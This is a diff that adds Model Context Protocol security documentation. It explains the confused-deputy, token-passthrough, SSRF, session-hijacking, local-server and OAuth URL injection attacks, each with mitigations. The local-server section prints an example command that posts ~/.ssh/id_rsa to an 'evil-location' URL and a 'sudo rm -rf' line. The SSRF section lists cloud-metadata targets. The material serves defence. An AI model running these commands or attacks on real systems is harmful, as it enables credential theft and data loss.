+Press Cmd + Shift + P and select **MCP: Add server...**. Select **HTTP** and enter `http://localhost:3000`. Give the server a unique name to be used inside Visual Studio Code. In `mcp.json` you should now see an entry like this:
+
+```json theme={null}
+"my-mcp-server-18676652": {
+ "url": "http://localhost:3000",
+ "type": "http"
+}
+```
+
+On connection, you will be taken to the browser, where you will be prompted to consent to Visual Studio Code having access to the `mcp:tools` scope.
+
+
+
+
+
+After consenting, you will see the tools listed right above the server entry in `mcp.json`.
+
+
+
+
+
+You will be able to invoke individual tools with the help of the `#` sign in the chat view.
+
+
+
+
+
+## Common Pitfalls and How to Avoid Them
+
+For comprehensive security guidance, including attack vectors, mitigation strategies, and implementation best practices, make sure to read through [Security Best Practices](/docs/2024-11-05/tutorials/security/security_best_practices). A few key issues are called out below.
+
+* **Do not implement token validation or authorization logic by yourself**. Use off-the-shelf, well-tested, and secure libraries for things like token validation or authorization decisions. Doing everything from scratch means that you're more likely to implement things incorrectly unless you are a security expert.
+* **Use short-lived access tokens**. Depending on the authorization server used, this setting might be customizable. We recommend to not use long-lived tokens - if a malicious actor steals them, they will be able to maintain their access for longer periods.
+* **Always validate tokens**. Just because your server received a token does not mean that the token is valid or that it's meant for your server. Always verify that what your MCP server is getting from the client matches the required constraints.
+* **Store tokens in secure, encrypted storage**. In certain scenarios, you might need to cache tokens server-side. If that is the case, ensure that the storage has the right access controls and cannot be easily exfiltrated by malicious parties with access to your server. You should also implement robust cache eviction policies to ensure that your MCP server is not re-using expired or otherwise invalid tokens.
+* **Enforce HTTPS in production**. Do not accept tokens or redirect callbacks over plain HTTP except for `localhost` during development.
+* **Least-privilege scopes**. Don't use catch‑all scopes. Split access per tool or capability where possible and verify required scopes per route/tool on the resource server.
+* **Don't log credentials**. Never log `Authorization` headers, tokens, codes, or secrets. Scrub query strings and headers. Redact sensitive fields in structured logs.
+* **Separate app vs. resource server credentials**. Don't reuse your MCP server's client secret for end‑user flows. Store all secrets in a proper secret manager, not in source control.
+* **Return proper challenges**. On 401, include `WWW-Authenticate` with `Bearer`, `realm`, and `resource_metadata` so clients can discover how to authenticate.
+* **DCR (Dynamic Client Registration) controls**. If enabled, be aware of constraints specific to your organization, such as trusted hosts, required vetting, and audited registrations. Unauthenticated DCR means that anyone can register any client with your authorization server.
+* **Multi‑tenant/realm mix-ups**. Pin to a single issuer/tenant unless explicitly multi‑tenant. Reject tokens from other realms even if signed by the same authorization server.
+* **Audience/resource indicator misuse**. Don't configure or accept generic audiences (like `api`) or unrelated resources. Require the audience/resource to match your configured server.
+* **Error detail leakage**. Return generic messages to clients, but log detailed reasons with correlation IDs internally to aid troubleshooting without exposing internals.
+* **Session identifier hardening**. Treat `Mcp-Session-Id` as untrusted input; never tie authorization to it. Regenerate on auth changes and validate lifecycle server‑side.
+
+## Related Standards and Documentation
+
+MCP authorization builds on these well-established standards:
+
+* **[OAuth 2.1](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13)**: The core authorization framework
+* **[RFC 8414](https://datatracker.ietf.org/doc/html/rfc8414)**: Authorization Server Metadata discovery
+* **[RFC 7591](https://datatracker.ietf.org/doc/html/rfc7591)**: Dynamic Client Registration
+* **[RFC 9728](https://datatracker.ietf.org/doc/html/rfc9728)**: Protected Resource Metadata
+* **[RFC 8707](https://datatracker.ietf.org/doc/html/rfc8707)**: Resource Indicators
+
+For additional details, refer to:
+
+* [Authorization Specification](/specification/2025-03-26/basic/authorization)
+* [Security Best Practices](/docs/2024-11-05/tutorials/security/security_best_practices)
+* [Available MCP SDKs](/docs/2024-11-05/sdk)
+
+Understanding these standards will help you implement authorization correctly and troubleshoot issues when they arise.
diff --git a/content/mcp/docs/2024-11-05/tutorials/security/security_best_practices.md b/content/mcp/docs/2024-11-05/tutorials/security/security_best_practices.md
new file mode 100644
index 000000000..8bc44e768
--- /dev/null
+++ b/content/mcp/docs/2024-11-05/tutorials/security/security_best_practices.md
@@ -0,0 +1,896 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Security Best Practices
+
+> Security considerations, attack vectors, and best practices for MCP implementations
+
+## Introduction
+
+### Purpose and Scope
+
+This document provides security considerations for the Model Context
+Protocol (MCP), complementing the
+[MCP Authorization](/specification/2025-03-26/basic/authorization)
+specification. This document identifies security risks, attack vectors,
+and best practices specific to MCP implementations.
+
+The primary audience for this document includes developers implementing
+MCP authorization flows, MCP server operators, and security
+professionals evaluating MCP-based systems. This document should be read
+alongside the MCP Authorization specification and
+[OAuth 2.0 security best practices](https://datatracker.ietf.org/doc/html/rfc9700).
+
+## Attacks and Mitigations
+
+This section gives a detailed description of attacks on MCP
+implementations, along with potential countermeasures.
+
+### Confused Deputy Problem
+
+Attackers can exploit MCP proxy servers that connect to third-party
+APIs, creating
+"[confused deputy](https://en.wikipedia.org/wiki/Confused_deputy_problem)"
+vulnerabilities. This attack allows malicious clients to obtain
+authorization codes without proper user consent by exploiting the
+combination of static client IDs, dynamic client registration, and
+consent cookies.
+
+#### Terminology
+
+**MCP Proxy Server**
+: An MCP server that connects MCP clients to third-party APIs, offering
+MCP features while delegating operations and acting as a single OAuth
+client to the third-party API server.
+
+**Third-Party Authorization Server**
+: Authorization server that protects the third-party API. It may lack
+dynamic client registration support, requiring the MCP proxy to use a
+static client ID for all requests.
+
+**Third-Party API**
+: The protected resource server that provides the actual API
+functionality. Access to this API requires tokens issued by the
+third-party authorization server.
+
+**Static Client ID**
+: A fixed OAuth 2.0 client identifier used by the MCP proxy server when
+communicating with the third-party authorization server. This Client ID
+refers to the MCP server acting as a client to the Third-Party API. It
+is the same value for all MCP server to Third-Party API interactions
+regardless of which MCP client initiated the request.
+
+#### Vulnerable Conditions
+
+This attack becomes possible when all of the following conditions are
+present:
+
+* MCP proxy server uses a **static client ID** with a third-party
+ authorization server
+* MCP proxy server allows MCP clients to **dynamically register** (each
+ getting their own client\_id)
+* The third-party authorization server sets a **consent cookie** after
+ the first authorization
+* MCP proxy server does not implement proper per-client consent before
+ forwarding to third-party authorization
+
+#### Architecture and Attack Flows
+
+##### Normal OAuth proxy usage (preserves user consent)
+
+```mermaid theme={null}
+sequenceDiagram
+ participant UA as User-Agent (Browser)
+ participant MC as MCP Client
+ participant M as MCP Proxy Server
+ participant TAS as Third-Party Authorization Server
+
+ Note over UA,M: Initial Auth flow completed
+
+ Note over UA,TAS: Step 1: Legitimate user consent for Third Party Server
+
+ M->>UA: Redirect to third party authorization server
+ UA->>TAS: Authorization request (client_id: mcp-proxy)
+ TAS->>UA: Authorization consent screen
+ Note over UA: Review consent screen
+ UA->>TAS: Approve
+ TAS->>UA: Set consent cookie for client ID: mcp-proxy
+ TAS->>UA: 3P Authorization code + redirect to mcp-proxy-server.com
+ UA->>M: 3P Authorization code
+ Note over M,TAS: Exchange 3P code for 3P token
+ Note over M: Generate MCP authorization code
+ M->>UA: Redirect to MCP Client with MCP authorization code
+
+ Note over M,UA: Exchange code for token, etc.
+```
+
+##### Malicious OAuth proxy usage (skips user consent)
+
+```mermaid theme={null}
+sequenceDiagram
+ participant UA as User-Agent (Browser)
+ participant M as MCP Proxy Server
+ participant TAS as Third-Party Authorization Server
+ participant A as Attacker
+
+
+ Note over UA,A: Step 2: Attack (leveraging existing cookie, skipping consent)
+ A->>M: Dynamically register malicious client, redirect_uri: attacker.com
+ A->>UA: Sends malicious link
+ UA->>TAS: Authorization request (client_id: mcp-proxy) + consent cookie
+ rect rgba(255, 17, 0, 0.67)
+ TAS->>TAS: Cookie present, consent skipped
+ end
+
+ TAS->>UA: 3P Authorization code + redirect to mcp-proxy-server.com
+ UA->>M: 3P Authorization code
+ Note over M,TAS: Exchange 3P code for 3P token
+ Note over M: Generate MCP authorization code
+ M->>UA: Redirect to attacker.com with MCP Authorization code
+ UA->>A: MCP Authorization code delivered to attacker.com
+ Note over M,A: Attacker exchanges MCP code for MCP token
+ A->>M: Attacker impersonates user to MCP server
+```
+
+#### Attack Description
+
+When an MCP proxy server uses a static client ID to authenticate with
+a third-party authorization server, the following attack becomes
+possible:
+
+1. A user authenticates normally through the MCP proxy server to access
+ the third-party API
+2. During this flow, the third-party authorization server sets a cookie
+ on the user agent indicating consent for the static client ID
+3. An attacker later sends the user a malicious link containing a
+ crafted authorization request which contains a malicious redirect URI
+ along with a new dynamically registered client ID
+4. When the user clicks the link, their browser still has the consent
+ cookie from the previous legitimate request
+5. The third-party authorization server detects the cookie and skips the
+ consent screen
+6. The MCP authorization code is redirected to the attacker's server
+ (specified in the malicious `redirect_uri` parameter during
+ [dynamic client registration](/specification/2025-03-26/basic/authorization#dynamic-client-registration))
+7. The attacker exchanges the stolen authorization code for access
+ tokens for the MCP server without the user's explicit approval
+8. The attacker now has access to the third-party API as the compromised
+ user
+
+#### Mitigation
+
+To prevent confused deputy attacks, MCP proxy servers **MUST** implement
+per-client consent and proper security controls as detailed below.
+
+##### Consent Flow Implementation
+
+The following diagram shows how to properly implement per-client consent
+that runs **before** the third-party authorization flow:
+
+```mermaid theme={null}
+sequenceDiagram
+ participant Client as MCP Client
+ participant Browser as User's Browser
+ participant MCP as MCP Server
+ participant ThirdParty as Third-Party AuthZ Server
+
+ Note over Client,ThirdParty: 1. Client Registration (Dynamic)
+ Client->>MCP: Register with redirect_uri
+ MCP-->>Client: client_id
+
+ Note over Client,ThirdParty: 2. Authorization Request
+ Client->>Browser: Open MCP server authorization URL
+ Browser->>MCP: GET /authorize?client_id=...&redirect_uri=...
+
+ alt Check MCP Server Consent
+ MCP->>MCP: Check consent for this client_id
+ Note over MCP: Not previously approved
+ end
+
+ MCP->>Browser: Show MCP server-owned consent page
+ Note over Browser: "Allow [Client Name] to access [Third-Party API]?"
+ Browser->>MCP: POST /consent (approve)
+ MCP->>MCP: Store consent decision for client_id
+
+ Note over Client,ThirdParty: 3. Forward to Third-Party
+ MCP->>Browser: Redirect to third-party /authorize
+ Note over MCP: Use static client_id for third-party
+
+ Browser->>ThirdParty: Authorization request (static client_id)
+ ThirdParty->>Browser: User authenticates & consents
+ ThirdParty->>Browser: Redirect with auth code
+
+ Browser->>MCP: Callback with third-party code
+ MCP->>ThirdParty: Exchange code for token (using static client_id)
+ MCP->>Browser: Redirect to client's registered redirect_uri
+```
+
+##### Required Protections
+
+**Per-Client Consent Storage**
+
+MCP proxy servers **MUST**:
+
+* Maintain a registry of approved `client_id` values per user
+* Check this registry **before** initiating the third-party
+ authorization flow
+* Store consent decisions securely (server-side database, or server
+ specific cookies)
+
+**Consent UI Requirements**
+
+The MCP-level consent page **MUST**:
+
+* Clearly identify the requesting MCP client by name
+* Display the specific third-party API scopes being requested
+* Show the registered `redirect_uri` where tokens will be sent
+* Implement CSRF protection (e.g., state parameter, CSRF tokens)
+* Prevent iframing via `frame-ancestors` CSP directive or
+ `X-Frame-Options: DENY` to prevent clickjacking
+
+**Consent Cookie Security**
+
+If using cookies to track consent decisions, they **MUST**:
+
+* Use `__Host-` prefix for cookie names
+* Set `Secure`, `HttpOnly`, and `SameSite=Lax` attributes
+* Be cryptographically signed or use server-side sessions
+* Bind to the specific `client_id` (not just "user has consented")
+
+**Redirect URI Validation**
+
+The MCP proxy server **MUST**:
+
+* Validate that the `redirect_uri` in authorization requests exactly
+ matches the registered URI
+* Reject requests if the `redirect_uri` has changed without
+ re-registration
+* Use exact string matching (not pattern matching or wildcards)
+
+**OAuth State Parameter Validation**
+
+The OAuth `state` parameter is critical to prevent authorization code
+interception and CSRF attacks. Proper state validation ensures that
+consent approval at the authorization endpoint is enforced at the
+callback endpoint.
+
+MCP proxy servers implementing OAuth flows **MUST**:
+
+* Generate a cryptographically secure random `state` value for each
+ authorization request
+* Store the `state` value server-side (in a secure session store or
+ encrypted cookie) **only after** consent has been explicitly approved
+* Set the `state` tracking cookie/session **immediately before**
+ redirecting to the third-party identity provider (not before consent
+ approval)
+* Validate at the callback endpoint that the `state` query parameter
+ exactly matches the stored value in the callback request's cookies or
+ in the request's cookie-based session
+* Reject any callback requests where the `state` parameter is missing
+ or does not match
+* Ensure `state` values are single-use (delete after validation) and
+ have a short expiration time (e.g., 10 minutes)
+
+The consent cookie or session containing the `state` value **MUST NOT**
+be set until **after** the user has approved the consent screen at the
+MCP server's authorization endpoint. Setting this cookie before consent
+approval renders the consent screen ineffective, as an attacker could
+bypass it by crafting a malicious authorization request.
+
+### Token Passthrough
+
+"Token passthrough" is an anti-pattern where an MCP server accepts
+tokens from an MCP client without validating that the tokens were
+properly issued *to the MCP server* and passes them through to the
+downstream API.
+
+#### Risks
+
+Token passthrough is explicitly forbidden in the
+[authorization specification](/specification/2025-03-26/basic/authorization)
+as it introduces a number of security risks, that include:
+
+* **Security Control Circumvention**
+ * The MCP Server or downstream APIs might implement important security
+ controls like rate limiting, request validation, or traffic
+ monitoring, that depend on the token audience or other credential
+ constraints. If clients can obtain and use tokens directly with the
+ downstream APIs without the MCP server validating them properly or
+ ensuring that the tokens are issued for the right service, they
+ bypass these controls.
+* **Accountability and Audit Trail Issues**
+ * The MCP Server will be unable to identify or distinguish between MCP
+ Clients when clients are calling with an upstream-issued access token
+ which may be opaque to the MCP Server.
+ * The downstream Resource Server's logs may show requests that appear
+ to come from a different source with a different identity, rather
+ than the MCP server that is actually forwarding the tokens.
+ * Both factors make incident investigation, controls, and auditing
+ more difficult.
+ * If the MCP Server passes tokens without validating their claims
+ (e.g., roles, privileges, or audience) or other metadata, a
+ malicious actor in possession of a stolen token can use the server
+ as a proxy for data exfiltration.
+* **Trust Boundary Issues**
+ * The downstream Resource Server grants trust to specific entities.
+ This trust might include assumptions about origin or client behavior
+ patterns. Breaking this trust boundary could lead to unexpected
+ issues.
+ * If the token is accepted by multiple services without proper
+ validation, an attacker compromising one service can use the token
+ to access other connected services.
+* **Future Compatibility Risk**
+ * Even if an MCP Server starts as a "pure proxy" today, it might need
+ to add security controls later. Starting with proper token audience
+ separation makes it easier to evolve the security model.
+
+#### Mitigation
+
+MCP servers **MUST NOT** accept any tokens that were not explicitly
+issued for the MCP server.
+
+### Server-Side Request Forgery (SSRF)
+
+Server-Side Request Forgery (SSRF) is an attack where an attacker can
+induce an MCP client to make HTTP requests to unintended destinations,
+potentially accessing internal network resources, cloud metadata
+endpoints, or other protected services.
+
+#### Attack Description
+
+During OAuth metadata discovery, MCP clients fetch URLs from several
+sources that could be controlled by a malicious MCP server:
+
+1. The `resource_metadata` URL from the `WWW-Authenticate` header
+2. The `authorization_servers` URLs from the Protected Resource Metadata
+ document
+3. The `token_endpoint`, `authorization_endpoint`, and other URLs from
+ Authorization Server Metadata
+
+A malicious MCP server can populate these fields with URLs pointing to
+internal resources, enabling the following attack patterns:
+
+* **Direct internal IP access**: URLs like `http://192.168.1.1/admin` or
+ `http://10.0.0.1/api` target internal network services
+* **Cloud metadata endpoints**: URLs targeting
+ `http://169.254.169.254/` (AWS/GCP/Azure metadata service) can
+ exfiltrate cloud credentials and instance information
+* **Localhost services**: URLs like `http://localhost:6379/` can interact
+ with local services (Redis, databases, admin panels)
+* **DNS rebinding**: Domains that change DNS resolution between
+ validation and use (e.g., `https://attacker.com` resolving to a safe
+ IP initially, then to `192.168.1.1`)
+* **Redirect chains**: Normal-looking URLs that redirect to internal
+ resources
+
+```mermaid theme={null}
+sequenceDiagram
+ participant Client as MCP Client
+ participant MCP as Malicious MCP Server
+ participant Internal as Internal Service
+
+ Client->>MCP: Connect to MCP server
+ MCP-->>Client: 401 + resource_metadata="http://169.254.169.254/..."
+
+ Note over Client: Client follows URL without validation
+ Client->>Internal: GET http://169.254.169.254/latest/meta-data/
+ Internal-->>Client: Cloud credentials/metadata
+
+ Note over Client: Error or response details leak to attacker
+ Client->>MCP: Subsequent request with error details
+```
+
+#### Risks
+
+* **Credential exfiltration**: Cloud metadata endpoints often expose
+ IAM credentials, API keys, and other secrets
+* **Internal network reconnaissance**: Error messages reveal information
+ about internal network topology and services
+* **Service interaction**: POST requests (e.g., to token endpoints) can
+ trigger mutations on internal services
+* **Firewall bypass**: The MCP client acts as a proxy, bypassing network
+ perimeter controls
+* **Data exfiltration**: Internal service responses may be reflected back
+ to attackers through error messages or OAuth flows
+
+#### Mitigation
+
+MCP clients deployed to a server **MUST** consider SSRF risks and
+implement appropriate mitigations when fetching OAuth-related URLs.
+Which protections are appropriate depend on your network environment.
+
+**Enforce HTTPS**
+
+MCP clients **SHOULD** require HTTPS for all OAuth-related URLs in
+production environments:
+
+* Reject `http://` URLs except for loopback addresses (`localhost`,
+ `127.0.0.1`, `::1`) during development
+* This aligns with
+ [OAuth 2.1 Section 1.5](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-1.5)
+ which requires HTTPS for all OAuth protocol URLs except loopback
+ redirect URIs
+* Provide an explicit opt-out mechanism for development/testing
+ scenarios
+
+**Block Private IP Ranges**
+
+MCP clients **SHOULD** block requests to private and reserved IP address
+ranges as recommended by
+[RFC 9728 Section 7.7](https://datatracker.ietf.org/doc/html/rfc9728#section-7.7):
+
+* Private IPv4 ranges: `10.0.0.0/8`, `172.16.0.0/12`,
+ `192.168.0.0/16`
+* Loopback: `127.0.0.0/8`, `::1` (except when explicitly allowed for
+ development)
+* Link-local: `169.254.0.0/16` (including cloud metadata endpoints)
+* Private IPv6 ranges: `fc00::/7`, `fe80::/10`
+
+
+ Avoid implementing IP validation manually. Attackers exploit encoding tricks
+ (octal, hex, IPv4-mapped IPv6) that custom parsers often miss.
+
+
+**Validate Redirect Targets**
+
+MCP clients **SHOULD** apply the same URL validation to redirect
+targets:
+
+* Do not blindly follow redirects to internal resources
+* Apply HTTPS and IP range restrictions to redirect destinations
+* Consider disabling automatic redirect following and validating each
+ hop
+
+**Use Egress Proxies**
+
+For server-side MCP client deployments, operators **SHOULD** consider
+using an egress proxy that enforces network policies:
+
+* Route OAuth discovery requests through a proxy that blocks internal
+ destinations
+* Use tools like
+ [Smokescreen](https://github.com/stripe/smokescreen) or similar
+ egress proxies that prevent SSRF by design
+* Configure network policies to restrict the MCP client's outbound
+ access
+
+**DNS Resolution Considerations**
+
+Be aware of Time-of-Check to Time-of-Use (TOCTOU) issues with
+DNS-based validation:
+
+* An attacker's domain may resolve to a safe IP during validation but
+ to an internal IP during the actual request
+* Consider pinning DNS resolution results between check and use
+* Defense in depth: combine DNS checks with other mitigations
+
+#### Resources and Tools
+
+The following resources can help developers implement SSRF protections
+in MCP clients.
+
+**Reference Documentation**
+
+* [OWASP SSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html):
+ Comprehensive guidance on SSRF prevention techniques, including input
+ validation, allowlist strategies, and network-level controls
+* [OWASP Top 10 A10:2021 - SSRF](https://owasp.org/Top10/2021/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/):
+ SSRF in the context of the most critical web application security
+ risks
+
+### Session Hijacking
+
+Session hijacking is an attack vector where a client is provided a
+session ID by the server, and an unauthorized party is able to obtain
+and use that same session ID to impersonate the original client and
+perform unauthorized actions on their behalf.
+
+#### Session Hijack Prompt Injection
+
+```mermaid theme={null}
+sequenceDiagram
+ participant Client
+ participant ServerA
+ participant Queue
+ participant ServerB
+ participant Attacker
+
+ Client->>ServerA: Initialize (connect to HTTP server)
+ ServerA-->>Client: Respond with session ID
+
+ Attacker->>ServerB: Access/guess session ID
+ Note right of Attacker: Attacker knows/guesses session ID
+
+ Attacker->>ServerB: Trigger event (malicious payload, using session ID)
+ ServerB->>Queue: Enqueue event (keyed by session ID)
+
+ ServerA->>Queue: Poll for events (using session ID)
+ Queue-->>ServerA: Event data (malicious payload)
+
+ ServerA-->>Client: Async response (malicious payload)
+ Client->>Client: Acts based on malicious payload
+```
+
+#### Session Hijack Impersonation
+
+```mermaid theme={null}
+sequenceDiagram
+ participant Client
+ participant Server
+ participant Attacker
+
+ Client->>Server: Initialize (login/authenticate)
+ Server-->>Client: Respond with session ID (persistent session created)
+
+ Attacker->>Server: Access/guess session ID
+ Note right of Attacker: Attacker knows/guesses session ID
+
+ Attacker->>Server: Make API call (using session ID, no re-auth)
+ Server-->>Attacker: Respond as if Attacker is Client (session hijack)
+```
+
+#### Attack Description
+
+When you have multiple stateful HTTP servers that handle MCP requests,
+the following attack vectors are possible:
+
+**Session Hijack Prompt Injection**
+
+1. The client connects to **Server A** and receives a session ID.
+
+2. The attacker obtains an existing session ID and sends a malicious
+ event to **Server B** with said session ID.
+ * If a particular server initiates server sent events as a
+ consequence of a tool call such as a
+ `notifications/tools/list_changed`, where it is possible to affect
+ the tools that are offered by the server, a client could end up
+ with tools that they were not aware were enabled.
+
+3. **Server B** enqueues the event (associated with session ID) into a
+ shared queue.
+
+4. **Server A** polls the queue for events using the session ID and
+ retrieves the malicious payload.
+
+5. **Server A** sends the malicious payload to the client as an
+ asynchronous or resumed response.
+
+6. The client receives and acts on the malicious payload, leading to
+ potential compromise.
+
+**Session Hijack Impersonation**
+
+1. The MCP client authenticates with the MCP server, creating a
+ persistent session ID.
+2. The attacker obtains the session ID.
+3. The attacker makes calls to the MCP server using the session ID.
+4. MCP server does not check for additional authorization and treats the
+ attacker as a legitimate user, allowing unauthorized access or
+ actions.
+
+#### Mitigation
+
+To prevent session hijacking and event injection attacks, the following
+mitigations should be implemented:
+
+MCP servers that implement authorization **MUST** verify all inbound
+requests. MCP Servers **MUST NOT** use sessions for authentication.
+
+MCP servers **MUST** use secure, non-deterministic session IDs.
+Generated session IDs (e.g., UUIDs) **SHOULD** use secure random number
+generators. Avoid predictable or sequential session identifiers that
+could be guessed by an attacker. Rotating or expiring session IDs can
+also reduce the risk.
+
+MCP servers **SHOULD** bind session IDs to user-specific information.
+When storing or transmitting session-related data (e.g., in a queue),
+combine the session ID with information unique to the authorized user,
+such as their internal user ID. Use a key format like
+`:`. This ensures that even if an attacker guesses
+a session ID, they cannot impersonate another user as the user ID is
+derived from the user token and not provided by the client.
+
+MCP servers can optionally leverage additional unique identifiers.
+
+### Local MCP Server Compromise
+
+Local MCP servers are MCP Servers running on a user's local machine,
+either by the user downloading and executing a server, authoring a
+server themselves, or installing through a client's configuration flows.
+These servers may have direct access to the user's system and may be
+accessible to other processes running on the user's machine, making them
+attractive targets for attacks.
+
+#### Attack Description
+
+Local MCP servers are binaries that are downloaded and executed on the
+same machine as the MCP client. Without proper sandboxing and consent
+requirements in place, the following attacks become possible:
+
+1. An attacker includes a malicious "startup" command in a client
+ configuration
+2. An attacker distributes a malicious payload inside the server itself
+3. An attacker accesses an insecure local server that's left running on
+ localhost via DNS rebinding
+
+Example malicious startup commands that could be embedded:
+
+```bash theme={null}
+# Data exfiltration
+npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://example.com/evil-location
+
+# Privilege escalation
+sudo rm -rf /important/system/files && echo "MCP server installed!"
+```
+
+#### Risks
+
+Local MCP servers with inadequate restrictions or from untrusted sources
+introduce several critical security risks:
+
+* **Arbitrary code execution**. Attackers can execute any command with
+ MCP client privileges.
+* **No visibility**. Users have no insight into what commands are being
+ executed.
+* **Command obfuscation**. Malicious actors can use complex or
+ convoluted commands to appear legitimate.
+* **Data exfiltration**. Attackers can access legitimate local MCP
+ servers via compromised JavaScript.
+* **Data loss**. Attackers or bugs in legitimate servers could lead to
+ irrecoverable data loss on the host machine.
+
+#### Mitigation
+
+If an MCP client supports one-click local MCP server configuration, it
+**MUST** implement proper consent mechanisms prior to executing commands.
+
+**Pre-Configuration Consent**
+
+Display a clear consent dialog before connecting a new local MCP server
+via one-click configuration. The MCP client **MUST**:
+
+* Show the exact command that will be executed, without truncation
+ (include arguments and parameters)
+* Clearly identify it as a potentially dangerous operation that executes
+ code on the user's system
+* Require explicit user approval before proceeding
+* Allow users to cancel the configuration
+
+The MCP client **SHOULD** implement additional checks and guardrails to
+mitigate potential code execution attack vectors:
+
+* Highlight potentially dangerous command patterns (e.g., commands
+ containing `sudo`, `rm -rf`, network operations, file system access
+ outside expected directories)
+* Display warnings for commands that access sensitive locations (home
+ directory, SSH keys, system directories)
+* Warn that MCP servers run with the same privileges as the client
+* Execute MCP server commands in a sandboxed environment with minimal
+ default privileges
+* Launch MCP servers with restricted access to the file system, network,
+ and other system resources
+* Provide mechanisms for users to explicitly grant additional privileges
+ (e.g., specific directory access, network access) when needed
+* Use platform-appropriate sandboxing technologies (containers, chroot,
+ application sandboxes, etc.)
+* Keep sandboxing solutions up-to-date to account for emerging
+ vulnerabilities
+
+MCP servers intending for their servers to be run locally **SHOULD**
+implement measures to prevent unauthorized usage from malicious
+processes:
+
+* Use the `stdio` transport to limit access to just the MCP client
+* Restrict access if using an HTTP transport, such as:
+ * Require an authorization token
+ * Use unix domain sockets or other Interprocess Communication (IPC)
+ mechanisms with restricted access
+
+### OAuth Authorization URL Validation
+
+OAuth authorization URLs provided by malicious MCP servers can exploit client-side URL handling vulnerabilities, leading to Cross-Site Scripting (XSS) attacks and Remote Code Execution (RCE).
+
+#### Attack Description
+
+During the OAuth authorization flow, MCP servers provide authorization URLs that clients open in browsers or handle programmatically. Malicious servers can exploit insufficient URL validation in MCP clients through the following attack vectors:
+
+**JavaScript URL Injection (XSS)**
+
+1. A malicious MCP server provides a `javascript:` URL as the authorization endpoint
+2. The MCP client passes this URL directly to `window.open()` or similar browser APIs
+3. The browser executes the JavaScript code embedded in the URL
+4. The attacker gains JavaScript execution context within the client application, potentially leading to session hijacking, credential theft, or further exploitation
+
+**Command Injection via Shell Execution**
+
+1. A malicious MCP server provides a URL containing shell command injection payloads
+2. The MCP client uses shell commands (e.g., `cmd.exe`, PowerShell, or shell scripts) to open the URL
+3. The shell interprets parts of the URL as additional commands to execute
+4. The attacker achieves arbitrary code execution on the user's system
+
+**stdio Transport Privilege Escalation**
+
+When XSS vulnerabilities are combined with `stdio` transport capabilities,
+attackers can escalate web-based attacks to full system compromise. See
+[stdio Transport Security in Proxy Scenarios](#stdio-transport-security-in-proxy-scenarios)
+for detailed attack vectors and mitigations.
+
+```mermaid theme={null}
+sequenceDiagram
+ participant MaliciousMCP as Malicious MCP Server
+ participant Client as MCP Client
+ participant Proxy as MCP Proxy
+ participant System as Host System
+
+ MaliciousMCP->>Client: Malicious authorization URL (javascript:)
+ Client->>Client: Execute JavaScript (XSS)
+ Client->>Client: Extract proxy auth token
+ Client->>Proxy: Malicious stdio command request
+ Note over Client,Proxy: Using stolen authentication token
+ Proxy->>System: Execute arbitrary command
+ System-->>Proxy: Command output
+ Proxy-->>Client: Command result
+ Client-->>MaliciousMCP: Exfiltrate data/establish persistence
+```
+
+#### Risks
+
+OAuth authorization URL vulnerabilities introduce several critical security risks:
+
+* **Cross-Site Scripting (XSS)**. Malicious JavaScript execution can lead to session hijacking, credential theft, and unauthorized actions within the client application.
+* **Remote Code Execution (RCE)**. Command injection through shell execution allows attackers to run arbitrary code with user privileges.
+* **Privilege Escalation**. XSS combined with `stdio` transport can escalate web-based attacks to full system compromise.
+* **Data Exfiltration**. Attackers can access sensitive data, configuration files, and credentials stored on the user's system.
+* **Persistence**. Attackers can install malware, create backdoors, or modify system configurations for persistent access.
+
+#### Mitigation
+
+**URL Scheme Validation**
+
+MCP clients **MUST** validate authorization URLs and reject dangerous schemes:
+
+* **MUST** only allow `http://` and `https://` schemes for authorization URLs.
+ The `http://` scheme is acceptable only for loopback addresses (such as
+ `localhost`, `127.0.0.1`, or `::1`) during local development; authorization
+ servers in production **MUST** use `https://`.
+* **MUST** reject `javascript:`, `data:`, `file:`, `vbscript:`, and other potentially dangerous schemes
+* **SHOULD** use allowlist-based validation rather than blocklist-based approaches
+
+**Secure URL Opening**
+
+MCP clients **MUST** avoid shell execution when opening URLs:
+
+* **MUST NOT** use shell commands (e.g., `cmd.exe`, `sh`, PowerShell) to open URLs
+* **SHOULD** use platform-specific, non-shell URL opening mechanisms
+
+**Content Security Policy (CSP)**
+
+Web-based MCP clients **SHOULD** implement Content Security Policy headers to prevent JavaScript execution:
+
+* Set `script-src 'self'` to prevent execution of inline JavaScript
+* Use `default-src 'self'` to restrict resource loading
+* Consider `script-src 'nonce-'` for dynamic content that requires inline scripts
+
+**Input Sanitization**
+
+MCP clients **MUST** sanitize and validate all URLs received from MCP servers:
+
+* Implement strict URL parsing and validation
+* Reject URLs with special characters that could be interpreted by shells
+* Consider using dedicated URL sanitization libraries
+* Log suspicious authorization URLs for security monitoring
+
+### stdio Transport Security in Proxy Scenarios
+
+The `stdio` transport itself is not inherently vulnerable. However, in proxy architectures where a separate proxy service manages `stdio` connections and can spawn MCP servers as child processes, it can provide a critical escalation path from web-based attacks to full system compromise.
+
+#### Attack Description
+
+**Important**: This attack vector only applies to MCP implementations that use a proxy architecture, not to direct `stdio` transport usage.
+
+In proxy-based MCP implementations, a local proxy service sits between the client and MCP servers, spawning servers as child processes via the `stdio` transport. This architecture creates a privileged escalation path when combined with client-side vulnerabilities:
+
+1. Attacker achieves XSS or other client-side code execution (e.g., through OAuth URL vulnerabilities)
+2. Using the attack vector above, the malicious actor accesses the MCP proxy authentication token established between the client and the proxy from the client's environment
+3. Malicious actor makes authenticated requests to the local MCP proxy service
+4. Proxy spawns arbitrary commands via the `stdio` transport (believing they are legitimate MCP server commands)
+5. Attacker achieves Remote Code Execution with user privileges
+
+#### Risks
+
+* **Privilege Escalation**. Web-based vulnerabilities (XSS) can escalate to arbitrary code execution on the host system through proxy command execution
+* **Authentication Bypass**. Stolen proxy authentication tokens allow unauthorized access to stdio process spawning capabilities
+* **System Compromise**. Attackers can execute any command that the MCP proxy process has privileges to run
+
+#### Mitigation
+
+The primary defense is to prevent classes of vulnerabilities that enable this attack vector:
+
+* Implement the mitigations described in [OAuth Authorization URL Validation](#oauth-authorization-url-validation)
